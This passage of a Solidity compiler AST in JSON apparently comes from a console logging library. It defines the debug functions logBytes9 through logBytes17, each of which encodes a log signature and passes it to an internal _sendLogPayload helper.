\"log(bytes9)\""},{"typeIdentifier":"t_bytes9","typeString":"bytes9"}],"expression":{"id":24004,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3333:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24005,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3337:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3333:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24008,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3333:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24003,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"3317:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24009,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3317:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24010,"nodeType":"ExpressionStatement","src":"3317:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes9","nameLocation":"3272:9:15","parameters":{"id":24001,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24000,"mutability":"mutable","name":"p0","nameLocation":"3289:2:15","nodeType":"VariableDeclaration","scope":24012,"src":"3282:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes9","typeString":"bytes9"},"typeName":{"id":23999,"name":"bytes9","nodeType":"ElementaryTypeName","src":"3282:6:15","typeDescriptions":{"typeIdentifier":"t_bytes9","typeString":"bytes9"}},"visibility":"internal"}],"src":"3281:11:15"},"returnParameters":{"id":24002,"nodeType":"ParameterList","parameters":[],"src":"3307:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24026,"nodeType":"FunctionDefinition","src":"3389:123:15","nodes":[],"body":{"id":24025,"nodeType":"Block","src":"3435:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313029","id":24020,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3485:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_013d178bb749cf32d0f7243763667360eb91576261efe5ed9be72b4a2800fd66","typeString":"literal_string \"log(bytes10)\""},"value":"log(bytes10)"},{"id":24021,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24014,"src":"3501:2:15","typeDescriptions":{"typeIdentifier":"t_bytes10","typeString":"bytes10"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_013d178bb749cf32d0f7243763667360eb91576261efe5ed9be72b4a2800fd66","typeString":"literal_string \"log(bytes10)\""},{"typeIdentifier":"t_bytes10","typeString":"bytes10"}],"expression":{"id":24018,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3461:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24019,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3465:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3461:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24022,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3461:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24017,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"3445:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24023,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3445:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24024,"nodeType":"ExpressionStatement","src":"3445:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes10","nameLocation":"3398:10:15","parameters":{"id":24015,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24014,"mutability":"mutable","name":"p0","nameLocation":"3417:2:15","nodeType":"VariableDeclaration","scope":24026,"src":"3409:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes10","typeString":"bytes10"},"typeName":{"id":24013,"name":"bytes10","nodeType":"ElementaryTypeName","src":"3409:7:15","typeDescriptions":{"typeIdentifier":"t_bytes10","typeString":"bytes10"}},"visibility":"internal"}],"src":"3408:12:15"},"returnParameters":{"id":24016,"nodeType":"ParameterList","parameters":[],"src":"3435:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24040,"nodeType":"FunctionDefinition","src":"3518:123:15","nodes":[],"body":{"id":24039,"nodeType":"Block","src":"3564:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313129","id":24034,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3614:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_04004a2e5bef8ca2e7ffd661b519aec3d9c1b8d0aa1e11656aab73b2726922d9","typeString":"literal_string \"log(bytes11)\""},"value":"log(bytes11)"},{"id":24035,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24028,"src":"3630:2:15","typeDescriptions":{"typeIdentifier":"t_bytes11","typeString":"bytes11"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_04004a2e5bef8ca2e7ffd661b519aec3d9c1b8d0aa1e11656aab73b2726922d9","typeString":"literal_string \"log(bytes11)\""},{"typeIdentifier":"t_bytes11","typeString":"bytes11"}],"expression":{"id":24032,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3590:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24033,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3594:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3590:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24036,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3590:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24031,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"3574:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24037,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3574:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24038,"nodeType":"ExpressionStatement","src":"3574:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes11","nameLocation":"3527:10:15","parameters":{"id":24029,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24028,"mutability":"mutable","name":"p0","nameLocation":"3546:2:15","nodeType":"VariableDeclaration","scope":24040,"src":"3538:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes11","typeString":"bytes11"},"typeName":{"id":24027,"name":"bytes11","nodeType":"ElementaryTypeName","src":"3538:7:15","typeDescriptions":{"typeIdentifier":"t_bytes11","typeString":"bytes11"}},"visibility":"internal"}],"src":"3537:12:15"},"returnParameters":{"id":24030,"nodeType":"ParameterList","parameters":[],"src":"3564:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24054,"nodeType":"FunctionDefinition","src":"3647:123:15","nodes":[],"body":{"id":24053,"nodeType":"Block","src":"3693:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313229","id":24048,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3743:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_86a06abd704b9e5bab2216d456863046355f2def5304d8276c140d0d454fddf2","typeString":"literal_string \"log(bytes12)\""},"value":"log(bytes12)"},{"id":24049,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24042,"src":"3759:2:15","typeDescriptions":{"typeIdentifier":"t_bytes12","typeString":"bytes12"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_86a06abd704b9e5bab2216d456863046355f2def5304d8276c140d0d454fddf2","typeString":"literal_string \"log(bytes12)\""},{"typeIdentifier":"t_bytes12","typeString":"bytes12"}],"expression":{"id":24046,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3719:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24047,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3723:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3719:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24050,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3719:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24045,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"3703:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24051,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3703:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24052,"nodeType":"ExpressionStatement","src":"3703:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes12","nameLocation":"3656:10:15","parameters":{"id":24043,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24042,"mutability":"mutable","name":"p0","nameLocation":"3675:2:15","nodeType":"VariableDeclaration","scope":24054,"src":"3667:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes12","typeString":"bytes12"},"typeName":{"id":24041,"name":"bytes12","nodeType":"ElementaryTypeName","src":"3667:7:15","typeDescriptions":{"typeIdentifier":"t_bytes12","typeString":"bytes12"}},"visibility":"internal"}],"src":"3666:12:15"},"returnParameters":{"id":24044,"nodeType":"ParameterList","parameters":[],"src":"3693:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24068,"nodeType":"FunctionDefinition","src":"3776:123:15","nodes":[],"body":{"id":24067,"nodeType":"Block","src":"3822:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313329","id":24062,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3872:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_94529e34a43ac6de2c3a0df402eee6114eb0f2ad065baefde0230cd3cf90e2ec","typeString":"literal_string \"log(bytes13)\""},"value":"log(bytes13)"},{"id":24063,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24056,"src":"3888:2:15","typeDescriptions":{"typeIdentifier":"t_bytes13","typeString":"bytes13"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_94529e34a43ac6de2c3a0df402eee6114eb0f2ad065baefde0230cd3cf90e2ec","typeString":"literal_string \"log(bytes13)\""},{"typeIdentifier":"t_bytes13","typeString":"bytes13"}],"expression":{"id":24060,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3848:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24061,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3852:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3848:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24064,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3848:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24059,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"3832:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24065,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3832:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24066,"nodeType":"ExpressionStatement","src":"3832:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes13","nameLocation":"3785:10:15","parameters":{"id":24057,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24056,"mutability":"mutable","name":"p0","nameLocation":"3804:2:15","nodeType":"VariableDeclaration","scope":24068,"src":"3796:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes13","typeString":"bytes13"},"typeName":{"id":24055,"name":"bytes13","nodeType":"ElementaryTypeName","src":"3796:7:15","typeDescriptions":{"typeIdentifier":"t_bytes13","typeString":"bytes13"}},"visibility":"internal"}],"src":"3795:12:15"},"returnParameters":{"id":24058,"nodeType":"ParameterList","parameters":[],"src":"3822:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24082,"nodeType":"FunctionDefinition","src":"3905:123:15","nodes":[],"body":{"id":24081,"nodeType":"Block","src":"3951:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313429","id":24076,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4001:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9266f07faf32c88bbdb01ce418243acbc1c63e15d6e3afa16078186ba711f278","typeString":"literal_string \"log(bytes14)\""},"value":"log(bytes14)"},{"id":24077,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24070,"src":"4017:2:15","typeDescriptions":{"typeIdentifier":"t_bytes14","typeString":"bytes14"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9266f07faf32c88bbdb01ce418243acbc1c63e15d6e3afa16078186ba711f278","typeString":"literal_string \"log(bytes14)\""},{"typeIdentifier":"t_bytes14","typeString":"bytes14"}],"expression":{"id":24074,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"3977:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24075,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"3981:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"3977:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24078,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3977:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24073,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"3961:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24079,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3961:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24080,"nodeType":"ExpressionStatement","src":"3961:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes14","nameLocation":"3914:10:15","parameters":{"id":24071,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24070,"mutability":"mutable","name":"p0","nameLocation":"3933:2:15","nodeType":"VariableDeclaration","scope":24082,"src":"3925:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes14","typeString":"bytes14"},"typeName":{"id":24069,"name":"bytes14","nodeType":"ElementaryTypeName","src":"3925:7:15","typeDescriptions":{"typeIdentifier":"t_bytes14","typeString":"bytes14"}},"visibility":"internal"}],"src":"3924:12:15"},"returnParameters":{"id":24072,"nodeType":"ParameterList","parameters":[],"src":"3951:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24096,"nodeType":"FunctionDefinition","src":"4034:123:15","nodes":[],"body":{"id":24095,"nodeType":"Block","src":"4080:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313529","id":24090,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4130:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_da9574e0bf3f23e09c3d85c9f5226065bb36281f2a5d78c7e38f6ffd58919606","typeString":"literal_string \"log(bytes15)\""},"value":"log(bytes15)"},{"id":24091,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24084,"src":"4146:2:15","typeDescriptions":{"typeIdentifier":"t_bytes15","typeString":"bytes15"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_da9574e0bf3f23e09c3d85c9f5226065bb36281f2a5d78c7e38f6ffd58919606","typeString":"literal_string \"log(bytes15)\""},{"typeIdentifier":"t_bytes15","typeString":"bytes15"}],"expression":{"id":24088,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4106:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24089,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4110:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4106:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4106:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24087,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"4090:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4090:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24094,"nodeType":"ExpressionStatement","src":"4090:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes15","nameLocation":"4043:10:15","parameters":{"id":24085,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24084,"mutability":"mutable","name":"p0","nameLocation":"4062:2:15","nodeType":"VariableDeclaration","scope":24096,"src":"4054:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes15","typeString":"bytes15"},"typeName":{"id":24083,"name":"bytes15","nodeType":"ElementaryTypeName","src":"4054:7:15","typeDescriptions":{"typeIdentifier":"t_bytes15","typeString":"bytes15"}},"visibility":"internal"}],"src":"4053:12:15"},"returnParameters":{"id":24086,"nodeType":"ParameterList","parameters":[],"src":"4080:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24110,"nodeType":"FunctionDefinition","src":"4163:123:15","nodes":[],"body":{"id":24109,"nodeType":"Block","src":"4209:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313629","id":24104,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4259:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_665c61046af0adc4969f9d2f111b654775bd58f112b63e5ce7dfff29c000e9f3","typeString":"literal_string \"log(bytes16)\""},"value":"log(bytes16)"},{"id":24105,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24098,"src":"4275:2:15","typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_665c61046af0adc4969f9d2f111b654775bd58f112b63e5ce7dfff29c000e9f3","typeString":"literal_string \"log(bytes16)\""},{"typeIdentifier":"t_bytes16","typeString":"bytes16"}],"expression":{"id":24102,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4235:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24103,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4239:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4235:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24106,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4235:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24101,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"4219:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24107,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4219:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24108,"nodeType":"ExpressionStatement","src":"4219:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes16","nameLocation":"4172:10:15","parameters":{"id":24099,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24098,"mutability":"mutable","name":"p0","nameLocation":"4191:2:15","nodeType":"VariableDeclaration","scope":24110,"src":"4183:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"},"typeName":{"id":24097,"name":"bytes16","nodeType":"ElementaryTypeName","src":"4183:7:15","typeDescriptions":{"typeIdentifier":"t_bytes16","typeString":"bytes16"}},"visibility":"internal"}],"src":"4182:12:15"},"returnParameters":{"id":24100,"nodeType":"ParameterList","parameters":[],"src":"4209:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24124,"nodeType":"FunctionDefinition","src":"4292:123:15","nodes":[],"body":{"id":24123,"nodeType":"Block","src":"4338:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313729","id":24118,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4388:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_339f673a0c008974259a0022c9b150cc5d1af8c58584412fe373d84bd08d4ea3","typeString":"literal_string \"log(bytes17)\""},"value":"log(bytes17)"},{"id":24119,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24112,"src":"4404:2:15","typeDescriptions":{"typeIdentifier":"t_bytes17","typeString":"bytes17"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_339f673a0c008974259a0022c9b150cc5d1af8c58584412fe373d84bd08d4ea3","typeString":"literal_string \"log(bytes17)\""},{"typeIdentifier":"t_bytes17","typeString":"bytes17"}],"expression":{"id":24116,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4364:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24117,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4368:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"4364:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4364:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24115,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"4348:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4348:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24122,"nodeType":"ExpressionStatement","src":"4348:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBytes17","nameLocation":"4301:10:15","parameters":{"id":24113,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24112,"mutability":"mutable","name":"p0","nameLocation":"4320:2:15","nodeType":"VariableDeclaration","scope":24124,"src":"4312:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes17","typeString":"bytes17"},"typeName":{"id":24111,"name":"bytes17","nodeType":"ElementaryTypeName","src":"4312:7:15","typeDescriptions":{"typeIdentifier":"t_bytes17","typeString":"bytes17"}},"visibility":"internal"}],"src":"4311:12:15"},"returnParameters":{"id":24114,"nodeType":"ParameterList","parameters":[],"src":"4338:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24138,"nodeType":"FunctionDefinition","src":"4421:123:15","nodes":[],"body":{"id":24137,"nodeType":"Block","src":"4467:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286279746573313829","id":24132,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4517:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c4d23d9af6458d5ddc7cb8128a2f36bf147c9db4fe277dfe0fe7be41def62116","typeString":"literal_string 